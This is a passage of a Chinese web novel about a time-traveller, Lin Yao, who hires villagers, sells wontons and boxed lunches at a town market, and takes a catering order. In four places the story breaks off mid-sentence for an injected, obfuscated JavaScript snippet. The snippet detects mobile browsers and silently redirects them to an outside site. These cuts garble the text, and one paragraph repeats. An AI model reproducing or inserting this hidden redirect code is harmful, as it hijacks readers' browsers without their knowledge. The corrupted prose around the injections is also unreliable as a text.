林窈正沉浸在思绪之中，忽然感觉裙摆被一只小手轻轻拽了拽。她低下头，是一张包子脸，小姑娘约莫五岁，扎着俏皮的双丫髻。小姑娘身上的衣裳虽已洗得发白，却干净整洁，一双圆溜溜的大眼睛正目不转睛地盯着她，满是好奇之色。“姐姐，你是许大哥的娘子吗？”小姑娘脆生生地问道。 听到女儿这般问话，谢三娘心中一惊，双手下意识地在围裙上快速擦拭几下，急忙伸手想把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200432|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿拉回来，口中说道：“阿喜，莫要如此没规矩！” 林窈见状，赶忙抬手制止谢三娘，轻轻捏了捏小姑娘白胖的小手，“不是呢，姐姐只是与许公子一同合伙做生意。” 陈欢喜歪着脑袋，挠了挠头，接着问道：“哦？那是朋友吗？” 话音刚落，一只手臂从林窈身侧伸了过来，稳稳地将陈欢喜抱了起来。“是呀，大哥和林小娘子是朋友，一同赚铜板的好朋友。”许之珩笑着说道，他刚向工坊管事交代完事务，一转身便瞧见林窈被这小家伙缠上了。 许之珩抱着陈欢喜，脸上挂着温和的笑容，那笑容与他平日里故作潇洒，插科打诨的笑不一样，就像一个宠爱妹妹的兄长。许之珩捏了捏陈欢喜的脸，“阿喜，怎么一个人乱跑？” 陈欢喜眼睛亮晶晶的，小手捧着自己的脸，晃了晃脑袋，“我瞧见姐姐长得好看，比花儿都好看，想找她玩。” 谢三娘在一旁看着，今天是她第一次见到林窈，生怕林窈一气之下就不让自己在水晶粉工坊做活，心中很是不安，“林小娘子，这孩子平日里就活泼好动，没个规矩，您别见怪。” 林窈连忙摆手，“谢姐姐，你千万别这么说，阿喜天真可爱，我欢喜还来不及呢。” 许之珩也笑着附和，“阿喜这性子招人喜爱，林小娘子也并非心胸狭隘之人。”他将陈欢喜放到地上，揉了揉小姑娘的脑袋。 水晶粉制作工序繁杂，属于劳动力密集型产品，制作难度虽不高，但所需人手众多。林窈连着去了五天工坊之后，便彻底放手让梁氏独自负责。 另一边，刘大壮每日上半晌带着刘大宝，吭哧吭哧地挖魔芋、制作魔芋爽和水晶粉，下半晌便挑着两大箩筐的魔芋爽和水晶粉外出叫卖。第一天，鲜有人买他的东西，他便效仿林窈搞起试吃这一招。据他所言，几乎所有人在试吃魔芋爽后都会买上一点，只是水晶粉无法试吃，这几日任凭他磨破嘴皮，也仅卖出两份。 林窈对这结果并不意外。她在镇上只摆了一天摊子，便去指导与许之珩合作的工坊，码头虽有李大娘售卖水晶粉，但时日尚短，许多人还不知水晶粉究竟是何滋味。 林窈思来想去，还是觉得得继续在镇子上售卖水晶粉，打开普通老百姓这个市场。只是若让阿鱼跟着自己去镇上，那林诚在码头必定忙不过来，如此一来，便需再雇一个人。只是村里她熟识的人也没几个了。思及此，她决定还是去问问梁氏。 “阿窈，你若信得过我，不妨雇你大壮哥的伯娘。刘大叔年前上山一趟，便……如今只留下妻儿相依为命，日子过得极为艰难。”梁氏补充道，“刘大叔一家都是老实人，你爹小时候还跟着他上山打过猎哩。” 林窈回想起来，正是自己刚穿越过来，准备上山时，林诚提及的那位死在山上的猎户。 34. 扁食 林窈看着门外站着的两人，被唤做黎婶的中年妇人约莫四十多岁，身旁的半大小子看着十五岁上下。那妇人身上衣裳颜色陈旧，面容沧桑，可头发却梳理得一丝不乱。身旁的少年亦是如此，布料都洗得泛白，却十分洁净，看得出主人是个喜洁之人。 梁氏见林窈一时未语，生怕她是嫌自己多带了人来，显得自己在拼命为夫家谋好处，赶忙解释，“阿窈，旭哥儿是陪着黎婶子一道来的，这孩子放心不下自己的娘哩。” 林窈细细打量着刘旭，他长着一张国字脸，双目炯炯有神，身材结实。虽说与林诚年纪相仿，个头却比林诚高出一头，身形也更为壮硕。想来刘大叔在世时，家中日子应当过得不错。 刘旭挠了挠头，憨憨一笑，“阿窈妹妹，我陪阿娘过来看看。” 林窈微微点头，侧身让刘旭母子进门，“婶子，阿旭哥，进屋坐，外头风大。” 林窈把茶水递给黎氏和刘旭，“黎婶子，我们想雇您到我们的吃食摊子上做活，包午食，一日八文钱，您看如何？” 黎氏平日里虽与村里其他人来往不多，但因着刘大壮的缘故，也多少听闻林窈做起了吃食买卖。却没想到给出的工钱这般丰厚，她儿子刘旭打一只野鸡才卖三十文，如今这些钱自己做上几日工便能挣到。如此一来，阿旭不必再每日上山冒险，她也不用整日提心吊胆。黎氏忙不迭点头，“好好好！有什么活，你们尽管吩咐！” 刘旭在一旁蠢蠢欲动，他本想着今年过了盂兰节，祭拜了阿爹后，便去码头寻一份活计。在码头做长工虽苦些累些，但胜在工钱丰厚，无性命之忧，亦可叫阿娘安心。眼下听闻码头摊子上这般简易的活计，每日竟能挣得八文钱。他若能到阿窈这儿来做工，凭自己一身的力气，工钱想必也不会少，只是自己本就是陪着阿娘来的，如今贸然开口，只怕是会惹人嫌。 林窈一直关注着刘旭，所以这会也察觉到了他的异样，“阿旭哥可是觉得哪里不妥？”他连忙摇头，“没有没有，只是……”刘旭抿了抿嘴，“阿窈妹妹可还要人做工，我力气大，什么都能做，我可以不吃午食，若是不需要也无事。” 其实，林窈在瞧见他们母子俩的那一刻，便想着把两人都雇来为自己做事。这母子二人虽家境贫寒，却干净利落，正是做餐饮的合适人选，“阿旭哥，不必如此，码头摊子上的人手已然足够。” 听到这话，刘旭的脸瞬间涨得通红，整张脸黑中透着红，看着有几分滑稽，他结结巴巴地说道：“那……是我唐突了。” 林窈没料到刘旭反应这般强烈，赶忙补上后半句：“但镇上的摊子还缺人手，阿旭哥可以随我们到镇上的摊子去，同样包午膳，一日十文。”梁氏被安排到水晶粉工坊做管事，镇上的摊子就只剩她和王小鱼两个小姑娘，总归不太安全。有了刘旭加入，不仅多了个壮劳力，安全也更有保障。 刘旭没想到还有这等好事，一日十文，一个月下来就是三百文，这得打多少只野鸡才能挣到啊。他咧嘴一笑，露出一口整齐的牙齿，忙不迭点头：“多谢阿窈妹妹，有啥脏活累活，尽管吩咐我来做！” 黎氏母子俩离开林家二房时，脚步都轻飘飘的。黎氏从未想过自己一天能挣下八个铜板，再加上儿子一天挣的十个铜板，娘儿俩一天就能有十八个铜板进账。这要是说出去，村里不知道有多少人羡慕。她叮嘱儿子，“阿旭，你阿窈妹妹心善，帮了咱们娘俩。要是旁人问起，可别把工钱透露出去，财不可外露，别给阿窈招来麻烦。” 刘旭乖乖点头，“阿娘，我晓得。” 送走黎氏母子，林窈便开始琢磨镇上摊子的菜单。光有酸辣粉可远远不够，林窈决定加上扁食，古代的扁食就是现代的馄饨。如今市面上的扁食多为清汤口味，味道固然鲜美，但红油抄手和酸辣口味的抄手却还无人售卖。 除了扁食，林窈还打算做蚂蚁上树。这是她除酸辣粉外，最喜欢的一道用红薯粉制作的菜肴。不过，蚂蚁上树空口吃差点意思，还是得配上米饭。但要是只做这一道菜，又显得太过单调。不如……做盒饭！在现代，东北盒饭就是既经济又实惠的选择。林窈一想到这儿，顿时来了精神。盒饭的关键就在于量大实惠、菜品丰富，能满足不同人的口味需求。 林窈给盒饭设定了不同价位：一荤一素卖八文一份，两荤一素十三文，三荤一素二十文，凡购买就送一碗汤。 打定主意，林窈立马动手。第一次做盒饭，得打响招牌。蚂蚁上树是辣口的，那就再做个甜口的红烧肉、咸口的肉末茄子，外加一个素菜干煸包菜，汤就做猪骨汤。虽说猪骨头上的肉都被屠户剃得干干净净，但煮出来的汤仍有肉味。况且汤是免费送的，想必能吸引不少人。 ～ 增加了盒饭这一选项，工作量大幅增加。林窈和林诚比往常提前半个时辰起床，王小鱼也来得比以往更早。天还没亮，几人就在灶房里忙得热火朝天。 三人刚把今日要用的菜备好，门外便传来敲门声。林窈打开门，见是刘旭站在门外。她与刘旭约好卯时来上工，此时离卯时还有两刻钟，“阿旭哥，怎么来得这么早？” 刘旭憨厚一笑，说道：“不早不早，平日里上山打猎，我起得更早。我来看看有没有啥能帮上手的。” 林窈把他引进屋，跟王小鱼介绍道，“阿鱼，这是大壮哥的弟弟，刘旭哥，日后与我们一齐到镇上出摊。”又回过身给刘旭介绍王小鱼，“这是我的徒弟，阿旭哥可唤她阿鱼。”如此两人也算是认识了。林窈将他迎进屋，跟王小鱼介绍道：“阿鱼，这是大壮哥的堂弟，阿旭哥，日后和我们一道去镇上出摊。”又转身给刘旭介绍王小鱼，“这是我的徒弟，阿鱼。”如此，两人就算认识了。 刘旭来得早，洗碗的活儿便交给他。为了在镇上卖盒饭和水晶粉，林诚到镇上采买了二十个大碗和三套桌椅，这样就不用再麻烦刘大壮一家把自家的桌椅碗筷借给他们了。 林窈和王小鱼开始往驴车上装今日到镇上出摊的物件。林窈拍了拍小灰的脑袋，幸亏买了驴车，不然根本没法把这么多东西运到镇上。 一切收拾妥当，林窈便带着王小鱼和刘旭前往镇上。一路上，碰到不少挑着担子赶路的人。今日恰逢圩日①，许多人会把自家攒的鸡蛋、菜干，以及猎到的山鸡野兔拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223572|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到市集上去卖，人流量比往常大多了。林窈三人抵达镇上时，上次他们占的位置还空着。林窈让刘旭停下驴车，“就这儿吧。” 王小鱼看了看这个靠后的位置，又瞧了瞧前面大片的空地，“师父，前边还没人呢，怎么不往前挪挪？” 林窈一边解开绑在驴车上的桌椅，帮着刘旭卸货，一边解释：“上回我和梁嫂子就是在这儿摆摊的。要是有上回的客人来，一眼就能看到我们。再者，这儿对面都是面摊，和咱们做的吃食类型相近。来这边的人大多是想吃粉面的，推销起来方便。” 王小鱼把驴车上的菜饭搬到摊位上，点了点头，“原来如此。” 等他们把摊子收拾好，天色已大亮，镇上的人渐渐多了起来。林窈把做好的扁食摆到摊子上，开始吆喝：“来看一看，瞧一瞧啰，新鲜的扁食和水晶粉，有清汤的！还有酸辣味的！包您吃了就忘不了！” 林窈昨天仔细琢磨过，如今煮扁食大多用清汤，红油扁食和酸辣扁食尚未有人尝试。乍一看，市场确实大，但也难保大家一时难以接受这种刺激的口味。所以她打算循序渐进，先入乡随俗，再慢慢打开市场。 林窈先下了两碗红油扁食给王小鱼和刘旭，两人凌晨就到家里帮忙，想来还没吃早饭。刘旭接过那碗满满当当，明显比王小鱼那碗多了一倍的红油扁食时，还有些不好意思。王小鱼抿嘴一笑，“我胃口小，阿旭哥多吃点，你还没见识过师父的本事。一会可有得忙呢！” 刘旭点了点头，捧起刚出锅的扁食，喝了一口鲜辣的热汤，顿觉浑身舒畅。他夹起一个扁食，吹了吹便塞进嘴里。扁食的面皮浸染上红油汤底淡淡的辣味，咬破薄韧的面皮，里面是鲜香的猪肉馅。碗里的汤还冒着热气，可他早已被这香味勾得没了耐心，一个接一个地把扁食送入口中，吃得满头大汗。 吴猎户今日带着自己打的野鸡到镇上卖，走着走着就闻到了一股浓郁的香味，他循着香味走到了林窈的摊子上，见这小伙子吃得这般香，肚子也咕咕叫了起来，问道：“小娘子，你家这扁食咋卖？” 林窈忙介绍，“纯扁食五文一碗，扁食加水晶粉八文一份，有清汤、酸辣或是红油口味，大哥可以按自己喜好挑选。” 吴猎户指着一旁埋头苦吃的刘旭，说道：“这小郎君吃的是啥口味的，我要和他一样的。” “这是红油的，马上给您做！”林窈回道。林窈刚把扁食放入锅里，把笊篱递给王小鱼，就听到一个熟悉的声音：“林小娘子，怎么把摊子开到镇上了？” 林窈闻声抬头，说道：“陈大夫！我做了新菜品，想来镇上试试运气，您快请坐。” 陈千远一听有新吃食，顿时来了兴致，“哦？有新菜？快说说都有什么。” 林窈开始报起菜单：“早饭有扁食和水晶粉，可以单点，也能搭配，有清汤、红油和酸辣口味。午饭有盒饭，有蚂蚁上树、红烧肉、肉沫茄子、干煸包菜，还有猪骨汤。” 陈千远略显惊讶，这小姑娘看着年纪不大，还挺能折腾，说道：“嚯，菜品不少呢。那我先来份扁食和水晶粉，做成酸辣口味的，这味道新鲜。” 35. 盒饭 有了扁食的加入，摊位前吸引了不少人驻足。林窈抓住机会推荐水晶粉，煮了一大碗酸辣粉。但凡有人流露出感兴趣的神色，她便夹出一些放在棕叶芦上供客人品尝。一上午的工夫，带来的五大捆水晶粉便销售一空。 巳时末，前来赶集的人渐渐散去，林窈摊位前的顾客也少了许多。这半天下来，刘旭算是见识到了林家摊子的火爆，难怪当初林家二房被分出去时，孤儿寡母，穷得叮当响，可这吃食生意才做了没多久，竟连驴车都买上了，日子眼见着越过越红火。他瞧了瞧正在加热饭菜的林窈，又低下头，继续认真清洗手中的碗筷。 林窈从驴车上把酸豇豆拿了下来，吩咐王小鱼每桌都放一罐酸豇豆。之前，林窈一口气做了三大缸泡菜，起初只是打算包在苕皮里增添风味。但听林诚说，镇上东面有一家店，卖了十年咸菜，一份咸菜能卖到两文钱。既然咸菜受众这么广，她的泡菜或许也能打开市场。现在把酸豇豆放在桌上和小摊上供大家免费品尝，就是想先摸摸大家对这种口味的接受程度。 没多久，菜饭都热好了，几道菜的香气相互交织，勾得人直咽口水。林窈让王小鱼和刘旭他们俩自己挑选爱吃的菜。王小鱼早摸清了林窈的性子，挑了她没吃过的蚂蚁上树和干煸包菜，又加了一个最爱的红烧肉。可刘旭毕竟第一天来上工，怕吃太多惹林窈不高兴，只选了干煸包菜。林窈见他正是能吃的年纪，米饭倒是满满一碗，菜却只挑了素菜，便舀起一勺红烧肉，码在他碗里，说道：“阿旭哥，别见外，一会儿还有得忙呢，多吃点。” “够了够了。”刘旭本想少吃点，没料到林窈直接往他碗里码几大块红烧肉。这么多肉，也就阿爹上山打到野猪的时候，他们家才能吃上一回。想起阿爹，刘旭眼眶一热，泪水在眼眶里打转，赶忙低下头，闷头吃饭，生怕林窈和王小鱼瞧见他这副窘态。 林窈忙得脚不沾地，没留意到刘旭的异样，王小鱼却敏锐察觉到刘旭的情绪突然低落了下去。她一头雾水，还以为刘旭是怕吃多了林窈会嫌弃，便解释道：“阿旭哥，师父可大方了，不会怪你吃得多，只要咱们好好干活就行。”刘旭没敢抬头，只是含含糊糊应了声“好”。 三人迅速吃完午餐，便着手准备售卖盒饭。 午时一到，在镇上做工的人就到了午歇的时候，不少人开始到街上觅食。林窈见大街上又热闹起来，赶忙扯着嗓子吆喝：“盒饭！盒饭！有肉有菜！还送肉汤！” 徐木是镇上颇有名气的木工。今日，他刚和学徒给曾员外家做好三把玫瑰椅。曾员外家催得急，说是家中小娘子在别处瞧见这玫瑰椅，觉着好看，吵着也要。曾员外家有三位小娘子，干脆一人一把，省得日后争抢。虽说时间紧迫，但曾员外出手阔绰，徐木工便接下了这单活儿。他带着两位学徒熬夜赶工，今儿可算把三把玫瑰椅完工了，这会儿饿得肚子咕咕叫。 徐木在街上走着，路旁的店铺和小食摊他都吃过，毫无新意。眼看着就要走到街道的尽头，眼瞅着快走到街道尽头了，一旁的张帆饿得受不了，提议道：“师父，要不咱去滋味馆吃？” 徐木工不是那种苛待学徒的人，这单活儿交付后，给两个学徒每人发了三百文工钱。这俩徒弟难得有这么一大笔钱，早想着去好好搓一顿了。徐木工也知道自己徒弟的心思，本想着滋味馆也不错，正要点头，郑道眼尖地瞧见一个从没见过的小摊子，“师父，那儿有个新摊子！” 林窈见迎面走来三人，满脸热情地介绍今日菜色：“小摊的盒饭可以自选荤菜，荤菜有蚂蚁上树、肉沫茄子和红烧肉，素菜是干煸包菜。一荤一素八文一份，两荤一素十三文，三荤一素二十文，还送一碗肉汤！” 徐木对这些没听过的菜挺感兴趣，“你这菜名听着挺新鲜，给我来份蚂蚁上树、红烧肉和干煸包菜！”张帆也要了和徐木工一样的菜，郑道则只要了一荤一素，荤菜选的红烧肉。郑道平日里节俭惯了，今儿赚了钱，也想改善下伙食，但他可不敢像张帆那般大手大脚。张帆是家中独子，父母健在，自己家里还有七十岁的奶奶和五岁的妹妹，得省着点花。 盒饭的饭菜在家就提前做好了。三人点完菜，王小鱼和刘旭分工协作，一个装饭菜，一个盛汤。徐木工一上午忙得脚不沾地，连口水都没顾得上喝。瞧见刘旭端来的汤，终于感觉喉咙的干燥，他喝了一大口，热汤顺着喉咙滑下，一直紧绷的肌肉瞬间放松了不少，他忍不住赞叹：“小娘子，你这汤不赖啊！” 林窈把装好的饭菜端上桌，笑着说：“客人要是喜欢，还能加！小摊的猪骨汤免费续！” 徐木三人看着桌上的饭菜，立马把猪骨汤抛到了脑后。汤汤水水的，哪有米饭和肉菜实在。尤其是张帆和郑道，两个半大小伙子，正是食量惊人的年纪。郑道瞧着油亮的红烧肉，狠狠咽了咽口水，都记不清自己多久没吃过这么大块的肉了。等师父一动筷子，他立马夹起红烧肉往嘴里送。他不像一旁的张帆狼吞虎咽，而是细细咀嚼，感受着猪肉的软糯，轻轻咀嚼就要在他的嘴里融化。郑道品味着口中咸甜交融的滋味，觉得这是自己记事以来最幸福的一天。 徐木和张帆比郑道多要了个蚂蚁上树。红烧肉他们吃过，可蚂蚁上树两人都没听说过，所以第一口都尝的是蚂蚁上树。徐木把蚂蚁上树送进嘴里，嚼了几下，惊叹道：“嘿！这玩意真神了，滑溜溜的，那股香辣劲儿，在嘴里就跟蚂蚁在树上乱爬似的！”张帆也吃得满脸惊喜，一边点头，一边含糊不清地附和：“就是就是，师父，您可真会选！” 徐木佯装要打张帆，虚指了一下，笑骂道：“你这小子，马屁拍得震天响。”张帆嘿嘿一笑，从碗里夹了一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232177|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筷子蚂蚁上树到郑道碗里，“阿道，你也尝尝，这味道可好啦！” “多谢。”郑道接过张帆夹来的蚂蚁上树。张帆为人豪爽，有啥好吃的总惦记着他，两人情同手足。郑道挑起一筷子，送入口中细细品味。可刚一入口，就被辣得龇牙咧嘴，赶忙端起桌上晾凉的汤水，喝了一大口。张帆瞧见郑道被辣得满头大汗的狼狈样，幸灾乐祸地哈哈大笑。 林窈的套餐里只有两块红烧肉。郑道再如何细嚼慢咽，也很快就吃完了。就着红烧肉，他吃了大半碗米饭，剩下的米饭只能就着干煸包菜吃。干煸包菜虽是素菜，可林窈放了不少猪油，每一片都泛着诱人的油光，边缘微微焦糊。郑道把米饭和包菜搅拌在一起，送入口中。先是感受到包菜的爽脆，接着茱萸的香辣味在舌尖散开，这股辣味让他越吃越上瘾。郑道从未想过，素菜竟也能如此下饭。 林窈在摊子上看着郑道、徐木、张帆三人吃得津津有味，心里踏实了不少。看来自己做的菜很对原住民的口味。她收回目光，继续扯着嗓子吆喝：“新鲜热辣的盒饭！有肉有菜，肉汤免费喝！” 陆续有路过的人被林窈的叫卖声吸引过来。原因无他，免费的肉汤实在是吸引人。小摊的座位很快就坐满了。徐木三人见人越来越多，自己也吃得差不多了，便把最后几口饭扒拉进嘴里，让出了位置。王小鱼把他们用过的碗筷收起来，递给刘旭去清洗。可郑道却没马上离开，他犹豫了一下，走到林窈面前。林窈抬起头，瞧见本应离开的郑道来到了自己的摊子前，问道：“客官，您有啥事儿？” 郑道搓了搓手上的老茧，有些不好意思地说：“不知摊主能不能单独卖我几块红烧肉？今儿吃了您做的红烧肉，软糯可口，我想着我家阿奶和小妹肯定爱吃，想买几块回去给她们尝尝。” “当然可以！红烧肉两文一块，您要几块？”只要是来消费的，顾客想怎么买，林窈都欢迎。 郑道伸出手比了个“六”，“六块！”难得赚了点钱，他可不能自己一个人在外吃独食，得带点回去给阿奶和小妹尝尝。 “好嘞，单卖六块红烧肉，一共十二文。”林窈从背篓里拿出棕叶芦，把红烧肉包好递给郑道。郑道接过包好的红烧肉，从怀里掏出一个破旧的袋子，仔细数出十二个铜板，递给林窈。付完钱，郑道跑到徐木身边，“师父，我……” 徐木知道郑道这孩子向来有担当，吃到好东西就惦记家里的奶奶和小妹，“去吧，趁肉还热乎，赶紧拿回家给你阿奶和小妹尝尝。今儿你就回家休息一天，明天再来上工。”他又看向一旁正眼巴巴盯着对面汤饼摊的张帆，一巴掌拍在他后背上，笑骂道：“你这大馋猫，还没吃够啊？没吃饱回家吃去，今儿不用上工。” 张帆嘿嘿一笑，行了一礼，“多谢师父！”转身快步跑了几步，追上了郑道。 36. 粉蒸肉 许之珩今日从武馆出来，听到两个小子正在讨论中午吃菜为何叫“蚂蚁上树”，听着很是新奇，便多问了几句。听说是在东街汤饼店对面的小摊上买的，便也想去尝尝。没想到走近一看，竟是林窈的摊子，“林小娘子，今日卖的是什么？” 林窈听到声音，赶忙抬起头。眼前这位可是她的大恩人兼重要合作伙伴，在她眼里，许之珩简直就是个行走的“钱袋子”，恨不得把他供起来。她满脸堆笑，“许公子！今儿个卖的是盒饭，量大管饱。只是公子来得稍迟了些，现在就剩蚂蚁上树和干煸包菜了，可来要一份？” “无妨，给我来一份！”许之珩就是冲着“蚂蚁上树”来的，正巧可以尝一尝。当林窈端来一大碗水晶粉时，他明显愣了一下，“竟是用水晶粉做的，可这道菜为何叫‘蚂蚁上树’？” “公子您瞧，这肉末紧紧贴在粉丝上，远远看去，形似蚂蚁爬在树枝上，因此得名‘蚂蚁上树’。”当然，还有另一种说法，林窈没说。据说这道菜与元代戏剧家关汉卿笔下的窦娥有关，窦娥的婆婆生病，家中只剩一小块猪肉，窦娥便将肉切成末，和粉丝一起炒制。婆婆眼花，误以为粉丝上的黑点是蚂蚁于是这道菜被称为“蚂蚁上树”①。 许之珩没想到缘由如此直白，不禁赞叹：“林小娘子好巧思！”他夹起一筷子水晶粉送入口中，辛辣的味道在舌尖蔓延，让原本有些疲惫的他精神一振。他向来偏爱辛辣口味，只是到了南方后，饮食多为甜口，他也就入乡随俗了。今日难得吃到合心意的饭菜，登时胃口大开。 林窈卖完最后一份饭时，许之珩也吃完了碗里的饭菜。他把碗筷递给一旁的刘旭，“林小娘子，这个月十五，擒虎武行要去府城参加比武大赛，不知能否请娘子负责这一趟的餐食？” 这突如其来的大单子，让林窈一时没反应过来。这许之珩简直就是她的活财神啊！她连忙应道：“好嘞！不知公子需要多少人份的餐食？在吃食方面可有什么要求？” 许之珩略微思忖，这一趟去的大多是年轻气盛的小伙子，又是去比武，体力消耗大，自然是油水越足越好，“我们一行十八人，按三菜一汤准备，两荤一素就行，肉菜分量要足些。我们照价付钱，这是五两银子作为定金。”放下定金后，许之珩目光一转，又道：“只是我的那份……” 林窈见状，有些哭笑不得，这人可真是该省省该花花。她连忙说道：“公子的那份自然是不收钱的。” 许之珩爽朗一笑，“我就知道林小娘子最是守信。” ～ 三人回到林家，林诚和黎婶子早已从码头归家。黎婶子正在帮忙磨红薯浆，林窈赶忙上前，“黎婶子，怎么不歇会儿？”她给黎婶子开的工钱，只是支付在码头出摊的活儿，可没要求她额外帮忙家里的事。家中这些磨浆之类的活，本是大壮哥和林诚负责的。如今这般，林窈感觉自己像二十一世纪的黑心老板，让员工拿一份工资干几个人的活。 但黎婶子可不这么想。她觉得自己在码头食摊上干的都是些简单活儿，对不起林窈开给她八文钱一月的工钱，心里过意不去，只能多帮着做些活，心里才踏实些。她说道：“都是些小活儿，回家也是无事可做，你开给我的工钱那样高，我做点这些是应该的。” 林窈还想再劝，刘旭在一旁开口了：“阿窈妹妹，你就让我娘在这儿帮你做点事吧。阿娘在这，我也放心。” 听刘旭这么说，林窈不好再坚持。她心里明白，刘旭这话一是为了让她宽心，二也是实情。如今村里都知道刘大叔没了，家里就剩孤儿寡母。黎婶子性子绵软，要是让人知道刘旭白天大半时间都不在家，保不准有人会起坏心思。 林窈把东西拾掇好，便给刘旭和黎婶子结算了今日工钱。走出林家，刘旭看着手心里躺着的十个大铜板，简直不敢置信，一天竟真挣了十个铜板！他又看看阿娘手里的八个铜板，他惦记着家里的主要要用光了，“阿娘，我去割一斤猪板油，炼完猪油，剩下的猪油渣还能拌饭吃！” 黎氏看着儿子满脸的喜悦，心中酸涩。儿子跟着自己受苦了，许久都没吃过一顿像样的饭了。她把自己的八文钱也放到儿子手里，“阿旭，你再去打半壶浊酒，一会儿跟我上山去看看你阿爹。咱们遇到好人了，让他安心，别再牵挂我们，早点投胎轮回。” 刘旭紧紧握着还带着余温的铜板，用力点了点头，朝镇上的方向走去。自从阿爹死后，阿娘就对生活没了盼头，常常对着阿爹留下的水壶、弓箭落泪，一天比一天消沉。他刚刚瞧着，阿娘虽说还念着阿爹，但不像从前那般毫无生气，眼里有了生的希望。刘旭的脚步越来越快，最后跑了起来。如今有了这份活计，日子肯定会越过越好，他一定要代替阿爹照顾好阿娘。 ~ 林窈从怀里掏出捂了许久的五两银子，放在桌上。虽说这一个月小食摊没少挣钱，可来光顾的大多是平头百姓，结账用的都是铜板，故而林诚平日里很少见到银子。这会儿见林窈只是出了一天摊，竟带回来三两银子，不禁大为惊讶：“阿窈，镇上的人出手这么阔绰？一天就能挣五两？！” 林窈按住一旁想伸手摸银子的林崧，捏了捏他的小肉手，笑着解释：“想什么呢？今日带的吃食在镇上卖了七百三十文，这五两是许公子给的定金。” 林诚把桌上的银钱挪到林崧够不到的地方，“定金？” 林窈点点头，说道：“许公子的武行这个月十五要去镇上打擂台，我们负责这一趟二十八人的饭食，两荤一素， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240265|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再加一个汤。” 林诚没想到妹妹去镇上一趟，竟能接下这么大的单子，激动不已：“阿窈，你想好做什么菜了吗？” “那自然。”说着，林窈把在镇上跑了好几个猪肉摊才卖到的买的十只大猪蹄拿了出来。许之珩一行人是去打架的，同行的又都是青壮年，食量肯定不小，得做些硬菜，红烧猪蹄再合适不过。只是这猪蹄着实贵，一斤猪肉十八文，一只猪蹄差不多五斤，十只猪蹄花了就一两多银子。 放下猪蹄，林窈从五两银子里拿出一两。一只鸡大概四十文，十只就是四百文。她对林诚说：“阿兄，明日你和大壮哥去镇上买十只鸡，从后山绕路回来。莫要叫人瞧见了。” “好，我这就去找大壮哥说这事。”林诚放下手里的活，往刘大壮家去了。 林窈从背篓里拿出在路上就开始浸泡的糯米和白米，她打算自制粉蒸肉。粉蒸肉，最重要的就是裹在肉上的粉。以前都是买现成的，好在这粉做起来不算难，林窈决定自己试试。 她先把糯米、白米、花椒、八角、茱萸、香叶一股脑倒入铁锅，开小火慢慢烘炒。灶膛里的火苗轻轻舔舐着锅底，发出轻微的噼啪声。随着林窈不断翻炒，米香渐渐弥漫开来，香料的味道也充分释放，丝丝缕缕钻进人的鼻腔，引得人忍不住深吸几口。 约莫一刻钟后，原本洁白的米粒渐渐泛起微黄。林窈拿起一粒放在指尖揉搓，感觉微微粗糙了些，知道火候差不多了。她把炒好的米盛出来，等晾凉后，倒入石臼里研磨成粉。要是有五香粉或者十三香，味道肯定更绝，可现在显然没有这些调味品，只能做个简易版粉蒸肉了。 林窈把五花肉清洗干净，切成大小均匀的方块，放入大碗中。她往碗里倒入少许酒去腥，撒上少量盐调味。每次到这时候，林窈就无比想念酱油，要是能加些酱油，这道菜才真正算得上色香味俱全。可眼下也只能想想，她可买不起。 随后，林窈把腌制好的肉块静置一旁，让其充分入味。趁着这空当，她把洗净的荷叶铺在蒸笼底部，荷叶清新的香气随着蒸汽在灶房里蔓延。荷叶是林窈回家路上摘的，如今夏末初秋，荷花早已凋谢，好在荷叶还不少。林窈拿起先前自制的米粉，慢慢倒入装有肉块的盆中，轻轻翻动肉块，让米粉与肉块充分融合，直到每一块肉都被裹得严严实实。 